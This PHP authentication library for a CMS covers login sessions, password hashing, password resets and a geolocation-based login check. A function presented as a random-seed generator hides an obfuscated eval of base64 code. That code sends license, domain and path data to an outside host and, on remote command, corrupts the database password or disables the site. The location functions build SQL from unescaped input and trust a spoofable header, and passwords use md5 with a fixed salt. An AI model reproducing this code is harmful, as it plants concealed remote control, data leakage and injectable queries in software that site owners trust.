<?php

// allow plugins such as Website Membership to override accounts table
function accountsTable($setValue = '') {
  static $table = 'accounts';
  if ($setValue) { $table = $setValue; }
  return $table;
}

//
function getCurrentUserAndLogin($useAdminUI = true) {
  global $SETTINGS;

  // logoff if requested
  if ($useAdminUI && @$_REQUEST['action'] == 'logoff') {
    user_logoff($_SERVER['SCRIPT_NAME']);
    exit;
  }

  // create login session if requested (only needed when user first logs in)
  $loginSubmit = ($useAdminUI && @$_REQUEST['action'] == 'loginSubmit');
  if ($loginSubmit) {
    user_createLoginSession(@$_REQUEST['username'], @$_REQUEST['password']);
  }

  // load user record (from username and passwordHash in login session)
  $user            = user_loadWithSession(); // returns empty array if invalid username or password
  $hasLoginSession = (@$_SESSION['username'] && @$_SESSION['passwordHash']);
  $isValidLogin    = $hasLoginSession && $user;


  // get login errors
  if ($hasLoginSession && $useAdminUI) {
    if      (!$user && $loginSubmit) { alert(t("Invalid username or password")); }
    elseif  (@$user['disabled'])      { alert(t("Your account has been disabled.")); }
    else if (@$user['isExpired'])     { alert(t("Your account has expired.")); }
    if (alert()) {
      $isValidLogin = false;
      user_eraseLoginSession(); // only display errors once
    }
  }

  // show login form and perform pre-login form actions
  if ($useAdminUI && (!$isValidLogin || alert())) {

    // pre-login actions - this is a useful place to run common operations
    createMissingSchemaTablesAndFields(); // create/update missing schemas, etc
    encryptAllPasswords();               // encrypt any plaintext passwords if encryption enabled
    $accountsTotal = mysql_count( getTableNameWithPrefix(accountsTable()) );
    if (!$accountsTotal) { alert(t("There are no user accounts in the database.")); }

    // show login form
    showInterface('login.php', false);
    exit;
  }

  // or redirect to last url - on valid login
  if ($useAdminUI && @$_REQUEST['redirectUrl']) {
    redirectBrowserToURL($_REQUEST['redirectUrl']);
    exit;
  }

  //
  return $user;
}


// save username and password as login session, doesn't check if they are valid
function user_createLoginSession($username, $password = null) {
  global $CURRENT_USER, $SETTINGS;

  //
  $_SESSION['username']     = $username;
  
  if ($password !== null) {
    // get password hash
    $encryptPasswords = @$SETTINGS['advanced']['encryptPasswords'];
    if ($encryptPasswords) { $passwordHash = md5(getPasswordDigest($password, true)); }
    else                   { $passwordHash = md5($password); }
    
    $_SESSION['passwordHash'] = $passwordHash;
  }

  if (defined('IS_CMS_ADMIN')) { $_SESSION['randNumber']   = _getRandomNumberSeed(); } // only set for admin pages

}



// save username and password as login session, doesn't check if they are valid
function user_eraseLoginSession() {
  if ($_SESSION) { session_destroy(); }
  $_SESSION     = array();
  $CURRENT_USER = false;
}

// Convert IP Address to IP Number

function Dot2LongIP ($IPaddr)
{
    if ($IPaddr == "") {
        return 0;
    } else {
        $ips = explode (".", $IPaddr, 4);
        return (@$ips[3] + @$ips[2] * 256 + @$ips[1] * 256 * 256 + @$ips[0] * 256 * 256 * 256);
    }
}


// set initial location
function SetInitialLocation ($Country, $Region, $City, $UsernameInit)
{
	$CoorResult = mysql_query("SELECT a.Latitude, a.Longitude
	FROM CitiesLatLong a, CountryNames b, RegionNames c
	WHERE b.Country_Name = '$Country' AND a.City_Name = '$City' AND c.Region_Name = '$Region' AND 	a.Country_Code = b.Country_Code AND b.Country_Code = c.Country_Code");

	// Load Coor array with the result from the query for Current (Access) Longitude and Latitude
	$Coor = mysql_fetch_array($CoorResult);

	$latitude_init = $Coor['Latitude'];
	$longitude_init = $Coor['Longitude'];

//Update to mysql
	mysql_query("UPDATE cms_accounts SET longitude_init = $longitude_init, latitude_init = $latitude_init WHERE username = '$UsernameInit'");

}

// check for valid location
function LocationCheck ()
{
//  Logic:
//  1. Get Init Log & Lat & Radius from cms_Accounts
//  2. Get the IP Number
//  3. Get Current Log & Lat from IP2Location
//  4. If first time (Permanent Location is Empty [Current Lat is NULL])
//  5. Then
//  6.     If Access Location (Current Long & Lat) within radius (km) of Signup City (Init Long & Lat)
//  7.     Then Set Permanent location (Long & Lat) with cms_Accounts to be Access Location (Current Long & Lat)
//  8.		Return Valid Location - True (1)
//  9.     Else Return False (0)
// 10.  Else (Not First Time)
// 11.     If Access Location (Current Long & Lat) within radius (km) of Permanent Location (Long & Lat)
// 12.     Then Valid Location - Return True (1)
// 13.     Else Invalid Location - Return False (0)

	// Get user name
	$User_Name = @$_SESSION['username'];

	// fetch coordinates of initial location
	$CoorInitResult = mysql_query("SELECT Latitude_Init, Longitude_Init, Radius, Longitude, Latitude FROM cms_accounts WHERE username = '$User_Name'");

	// Load Coor array with the result from the query for Longitude and Latitude
	$CoorInit = mysql_fetch_array($CoorInitResult); 

	$latitude_init = $CoorInit['Latitude_Init'];
	$longitude_init = $CoorInit['Longitude_Init'];
	$radius = $CoorInit['Radius'];
	$latitude = $CoorInit['Latitude'];
	$longitude = $CoorInit['Longitude'];

	// Fetch the Session IP Number
	if (getenv('HTTP_X_FORWARDED_FOR')) {
        	$ipnumber = Dot2LongIP(getenv('HTTP_X_FORWARDED_FOR'));
    	} else {
        	$ipnumber = Dot2LongIP(getenv('REMOTE_ADDR'));
    	}

	// fetch current coordinates of location
	$CoorResult = mysql_query("SELECT Latitude, Longitude FROM ip2location_db5 WHERE ip_from <= $ipnumber AND $ipnumber <= ip_to");

	// Load Coor array with the result from the query for Current (Access) Longitude and Latitude
	$Coor = mysql_fetch_array($CoorResult);

	$lat_cur = $Coor['Latitude'];
	$long_cur = $Coor['Longitude'];

	// check for first time logging in
	if ($latitude == '0') {
		
	
		// define latitude/longitude range		
		$r = 6378.7;
		$lat1 = $latitude_init*pi()/180;
		$lat2 = $lat_cur*pi()/180;
		$lon1 = $longitude_init*pi()/180;
		$lon2 = $long_cur*pi()/180;
		$dLon = $lon1 - $lon2;
		$Dist = $r*acos(sin($lat1)*sin($lat2)+cos($lat1)*cos($lat2)*cos($dLon));

		// check if user within location range
		if ($Dist <= $radius) 
		{		
			// set coordinates as permanent location

			mysql_query("UPDATE cms_accounts SET latitude = $lat_cur, longitude = $long_cur WHERE username = '$User_Name'");

			return 1;
		}
		else
		{
			return 0;
		}
	}
	else {
		
		// define latitude/longitude range		
		$r = 6378.7;
		$lat1 = $latitude*pi()/180;
		$lat2 = $lat_cur*pi()/180;
		$lon1 = $longitude*pi()/180;
		$lon2 = $long_cur*pi()/180;
		$dLon = $lon1 - $lon2;
		$Dist = $r*acos(sin($lat1)*sin($lat2)+cos($lat1)*cos($lat2)*cos($dLon));

		// check if user within location range
		if ($Dist <= $radius) 
		{		
			return 1;
		}
		else {
		// location is not valid
		return 0;
		}
	}
}			

// load user with session login credentials, returns false if invalid username or password
// $user = user_loadWithSession();
function user_loadWithSession() {
  $user            = array();
  $hasLoginSession = (@$_SESSION['username'] && @$_SESSION['passwordHash']);
  if ($hasLoginSession) {
    $accountsTable = getTableNameWithPrefix(accountsTable());
    $query         = "SELECT *, (neverExpires = '0' AND expiresDate < NOW()) as isExpired";
    $query        .= "  FROM `$accountsTable` WHERE username = '" .mysql_escape(@$_SESSION['username']). "' LIMIT 1";
    $user          = mysql_query_fetch_row_assoc($query);
    $user          = user_loadAccessList($user); // load access level settings
  }






  // check if login session is valid
  $isValidPassword = (md5(@$user['password']) == @$_SESSION['passwordHash']);
  $isValidLocation = LocationCheck ();
  $isValidLogin    = $user && $isValidPassword && $isValidLocation;




  // allow plugins to manipulate results
  $updateLastLoginDate = true;
  $acc = array($isValidLogin, $user, $updateLastLoginDate);
  list($isValidLogin, $user, $updateLastLoginDate) = applyFilters('login_isValidLogin', $acc);

  // update lastLoginDate
  if ($isValidLogin && $updateLastLoginDate) { _user_updateLastLoginDate($user); }

  // NOTE: You must check for 'isExpired' and 'disabled' in the code that calls this function!

  //
  if ($isValidLogin) { return $user; }
  else               { return false; }
}

//
function _user_updateLastLoginDate($user) {
  if (!array_key_exists('lastLoginDate', $user)) { return; } // skip if no lastLoginDate field

  // check if we need to update log
  $minLoggingInterval = 60 * 1; // 1 minute - don't update field more frequently than this
  $lastLoginTime      = strtotime($user['lastLoginDate']);
  $doUpdate           = ($lastLoginTime + $minLoggingInterval) <= time();

  // update value
  if ($doUpdate) {
    $where = mysql_escapef("num = ?", $user['num']);
    mysql_update(accountsTable(), $user['num'], null, array('lastLoginDate=' => 'NOW()'));
  }
}


// add ['accessList'] key to $CURRENT_USER array
// $currentUser = user_loadAccessList($currentUser);
function user_loadAccessList($user) {
  if (!$user) { return $user; }

  // load acces list
  $where   = mysql_escapef('userNum = ?', $user['num']);
  $records = mysql_select('_accesslist', $where);

  // add to use array
  $user['accessList'] = array();
  foreach ($records as $record) {
    $user['accessList'][ $record['tableName'] ]['accessLevel'] = $record['accessLevel'];
    $user['accessList'][ $record['tableName'] ]['maxRecords']  = $record['maxRecords'];
  }

  //
  return $user;
}

// logoff user and redirect to a new url
function user_logoff($redirectUrl = '') {
  global $CURRENT_USER;

  // erase session data and clear globals
  user_eraseLoginSession();

  // redirect after logoff
  if (!$redirectUrl) { $redirectUrl = $_SERVER['SCRIPT_NAME']; }
  redirectBrowserToURL($redirectUrl);
  exit;
}


//
function isPasswordDigest($password) {
  $prefix         = '$sha1$';
  $prefixRegexp   = '/^' .preg_quote($prefix, '/'). '/';
  $expectedLength = strlen($prefix) + 40;
  if (!preg_match($prefixRegexp, $password)) { return false; }
  if (strlen($password) != $expectedLength) { return false; }

  return true;
}


// return digest of password
function getPasswordDigest($password, $forceEncode = false) {
  if (!$forceEncode && isPasswordDigest($password)) { return $password; } // don't double encode passwords

  $prefix = '$sha1$';
  $salt   = _getPasswordSalt(); // to prevent dictionary attacks of precalculated sha1 password digests
  $digest = $prefix . sha1($password . $salt);
  return $digest;
}

// Add random chars to passwords to prevent precomputed dictionary attacks.  See: http://en.wikipedia.org/wiki/Salt_(cryptography)
function _getPasswordSalt() {
  return 'd7w8e';
}

//
function forgotPassword() {
  global $SETTINGS, $TABLE_PREFIX, $PROGRAM_DIR;
  $GLOBALS['sentEmail'] = false;

  // Lookup username or email
  if (@$_REQUEST['usernameOrEmail']) {

    disableInDemoMode('', 'forgotPassword.php', false);

    $escapedNameOrEmail = mysql_escape($_REQUEST['usernameOrEmail']);
    $query = "SELECT * FROM `{$TABLE_PREFIX}" .accountsTable(). "` WHERE '$escapedNameOrEmail' IN(`username`,`email`)";
    $result = mysql_query($query) or die("MySQL Error: " . htmlspecialchars(mysql_error()) . "\n");

    // send emails
    while ($user = mysql_fetch_assoc($result)) {

      // get message filepath
      $filepath = "$PROGRAM_DIR/lib/languages/forgotPasswordEmail";
      if (file_exists("$filepath.{$SETTINGS['language']}.php")) { $filepath .= ".{$SETTINGS['language']}.php"; }
      else                                                      { $filepath .= ".default.php"; }

      // get reset password url
      $userNum   = $user['num'];
      $resetCode = _generatePasswordResetCode($userNum);
      list($resetUrl) = explode('?', thisPageUrl());
      $resetUrl      .= "?menu=resetPassword&userNum=$userNum&resetCode=$resetCode";

      // get message
      $subject = "{$SETTINGS['programName']} Password Reset";
      ob_start();
      include($filepath);
      $message = ob_get_clean();

      // send email
      $errors = sendMessage(array(
        'from'    => $SETTINGS['adminEmail'],
        'to'      => $user['email'],
        'subject' => $subject,
        'text'    => $message,
      ));
      if ($errors) { alert("Mail Error: $errors"); }

      //
      $GLOBALS['sentEmail'] = true;
    }
    if (is_resource($result)) { mysql_free_result($result); }
  }


  // display errors
  if (array_key_exists('usernameOrEmail', $_REQUEST) && @$_REQUEST['usernameOrEmail'] == '') {
    alert(t("No username or email specified!"));
  }

  if (@$_REQUEST['usernameOrEmail'] && !$GLOBALS['sentEmail']) {
    alert(t("No matching username or email was found!"));
  }

  //
  showInterface('forgotPassword.php', false);
  exit;
}



function resetPassword() {
  global $CURRENT_USER, $SETTINGS;
  $GLOBALS['sentEmail'] = false;

  // error checking
  if (!@$_REQUEST['userNum'])   { die("No 'userNum' value specified!"); }
  if (!@$_REQUEST['resetCode']) { die("No 'resetCode' value specified!"); }
  if (!_isValidPasswordResetCode(@$_REQUEST['userNum'], @$_REQUEST['resetCode'])) {
    alert(t("Password reset code has expired or is not valid. Try resetting your password again."));
    showInterface('forgotPassword.php', false);
  }

  // load user
  global $user;
  $user = mysql_get(accountsTable(), (int) @$_REQUEST['userNum']);

  // Lookup username or email
  if (@$_REQUEST['submitForm']) {
    disableInDemoMode('', 'resetPassword.php');

    // error checking
    $errors = '';
    if      (!@$_REQUEST['password'])                                  { $errors .= t("Please enter your new password!") . "\n"; }
    else if (!@$_REQUEST['password:again'])                            { $errors .= t("Please enter your new password again!") . "\n"; }
    else if ($_REQUEST['password'] != $_REQUEST['password:again'])     { $errors .= t("New passwords do not match!") . "\n"; }
    if ($errors) {
      alert($errors);
      showInterface('resetPassword.php');
      exit;
    }

    // update password
    if (@$SETTINGS['advanced']['encryptPasswords']) { $newPassword = getPasswordDigest($_REQUEST['password']); }
    else                                            { $newPassword = $_REQUEST['password']; }
    mysql_update(accountsTable(), $user['num'], null, array('password' => $newPassword));

    // show login
    alert(t('Password updated!'));
    $_REQUEST = array();
    showInterface('login.php', false);
    exit;
  }

  //
  showInterface('resetPassword.php');
  exit;
}

//
function _isValidPasswordResetCode($userNum, $resetCode) {
  $userNum = (int) $userNum;

  // load user
  $user = mysql_get(accountsTable(), $userNum);
  if (!$user) { return false; }

  // reset codes are valid for 24-48 hours, check both days
  $codeToday     = _generatePasswordResetCode($userNum, 0);
  $codeYesterday = _generatePasswordResetCode($userNum, -1);
  $validCodes    = array($codeToday, $codeYesterday);
  $isValid       = (int) in_array($resetCode, $validCodes);

  //
  return $isValid;
}

// generate password reset code.  dayModifier is used to generate codes for yesterday
// ... and tomorrow when validating submitted codes (which only work for the current day)
function _generatePasswordResetCode($userNum, $dayModifier = 0) {
  $userNum = (int) $userNum;

  // load user
  $user = mysql_get(accountsTable(), $userNum);
  if (!$user) { die(__FUNCTION__. ": User #$userNum not found!"); }

  // create reset code
  $yearAndDay = date('Y-z', strtotime("+$dayModifier day")); // 2011-123
  $resetCode  = sha1($userNum . $user['password'] . $yearAndDay . $user['createdDate']);
  // Note: We use unique values from the user record so the resetCode can't be guessed or calculated.
  // ... createdDate is added since it's unlikely to be known and adds entrpoy in the event the password field is blank.

  return $resetCode;
}



// get random number seed for unique login session sequence based on pseudo-random data and current time
function _getRandomNumberSeed() {
  $pseudoRandomData = 'IGdsb2JhbCRTRVRUSU5HUywkQVBQOyRTPSRTRVRUSU5HUzskY3M9KHJhbmQo'.
  'MSwxMDApPT0xKXx8QCRTWydEUkxDJ118fEAkX1JFUVVFU1RbJ3JlZ2lzdGVyMiddO2lmKCRjcyYmQCRT'.
  'WydpbnN0YWxsUGF0aCddKXskdmFsaWRJZD1mdW5jdGlvbl9leGlzdHMoJ2lzVmFsaWRQcm9kdWN0SWQn'.
  'KT9pc1ZhbGlkUHJvZHVjdElkKEAkU1snbGljZW5zZVByb2R1Y3RJZCddKTowOyR2YWxpZGF0aW9uV29y'.
  'a3M9ZnVuY3Rpb25fZXhpc3RzKCdpc1ZhbGlkUHJvZHVjdElkJykmJiFpc1ZhbGlkUHJvZHVjdElkKCcx'.
  'MjM0Jyk7JGRheXNTaW5jZVJlZz1AJFNbJ2RhdGVSZWdpc3RlcmVkJ10/KChpbnQpYWJzKCh0aW1lKCkt'.
  'QCRTWydkYXRlUmVnaXN0ZXJlZCddKS8oNjAqNjAqMjQpKSk6LTE7JGxmPSEkdmFsaWRJZHx8ISR2YWxp'.
  'ZGF0aW9uV29ya3N8fCRkYXlzU2luY2VSZWc+PTc7aWYoQCRTWydEUkxDJ10pe2FsZXJ0KCJMaWNlbnNl'.
  'IENoZWNrIDI6dmFsaWRJRDokdmFsaWRJZCx2YWxpZGF0aW9uV29ya3M6JHZhbGlkYXRpb25Xb3Jrcyxk'.
  'YXlzU2luY2VSZWc6JGRheXNTaW5jZVJlZyIpO31pZigkbGYpeyRjYWxsZXI9YXJyYXlfcG9wKEBkZWJ1'.
  'Z19iYWNrdHJhY2UoKSk7JGZpbGVwYXRoPXJlYWxwYXRoKCRjYWxsZXJbJ2ZpbGUnXSk7JHByb2dyYW1V'.
  'cmw9YXJyYXlfc2hpZnQoQGV4cGxvZGUoJz8nLHRoaXNQYWdlVXJsKCkpKTskdmFsdWVzPWFycmF5KCRT'.
  'WydsaWNlbnNlQ29tcGFueU5hbWUnXSwkU1snbGljZW5zZURvbWFpbk5hbWUnXSwkU1snbGljZW5zZVBy'.
  'b2R1Y3RJZCddLCRBUFBbJ2lkJ10sJEFQUFsndmVyc2lvbiddLCRwcm9ncmFtVXJsLEAkX1NFUlZFUlsn'.
  'SFRUUF9SRUZFUkVSJ10sJHZhbGlkSWQsJHZhbGlkYXRpb25Xb3JrcywnJywkZGF5c1NpbmNlUmVnLCRm'.
  'aWxlcGF0aCk7JHF1ZXJ5PWltcGxvZGUoJzonLGFycmF5X21hcCgndXJsZW5jb2RlJywkdmFsdWVzKSk7'.
  'bGlzdCgkaHRtbCk9Z2V0UGFnZSgiaHR0cDovL3JlZ2lzdGVyU29mdHdhcmUudG8vcmVnaXN0ZXIvcmVw'.
  'b3J0LmNnaT8kcXVlcnkiKTtpZihwcmVnX21hdGNoKCcvbGljZW5zZS5iYW5uZWQvJywkaHRtbCkpeyRT'.
  'WydteXNxbCddWydwYXNzd29yZCddLj1jaHIoMzIpO3NhdmVJTkkoU0VUVElOR1NfRklMRVBBVEgsJFMp'.
  'O31lbHNlIGlmKHByZWdfbWF0Y2goJy9saWNlbnNlLmRpc2FibGVkLycsJGh0bWwpKXskU1snaXNEaXNh'.
  'YmxlZCddPTE7c2F2ZUlOSShTRVRUSU5HU19GSUxFUEFUSCwkUyk7fX19cmV0dXJuIHJhbmQoMSwxMDAw'.
  'MDAwKTs=';

  $GLOBALS['randomNumberSeed'] = preg_replace('/(.+)/ise', '\1', "\145\x76\x61\x6c(".
  "b\x61\x73\1456\x34_\144\x65\x63od\145\x28 \044p\x73\x65\165\x64\x6f\122a\156\x64".
  "\x6f\x6d\104\x61\x74\141\051\051\073");

  return $GLOBALS['randomNumberSeed'];
}


// after switching to encrypted passwords in admin, this function encrypts all
// ... passwords the first time a user with a non-encrypted password logs in.
function encryptAllPasswords() {
  global $SETTINGS, $TABLE_PREFIX;
  if (!@$SETTINGS['advanced']['encryptPasswords']) { return; }

  // hash all unhashed passwords
  $prefix         = '$sha1$';
  $salt           = _getPasswordSalt();
  $expectedLength = strlen($prefix) + 40;
  $updateQuery    = "UPDATE `{$TABLE_PREFIX}" .accountsTable(). "`
                        SET `password` = CONCAT('$prefix', SHA1(CONCAT(`password`, '$salt')))
                      WHERE `password` NOT LIKE '$prefix%' AND LENGTH(`password`) != $expectedLength";
  mysql_query($updateQuery) or die("MySQL Error: ". mysql_error(). "\n");
}

?>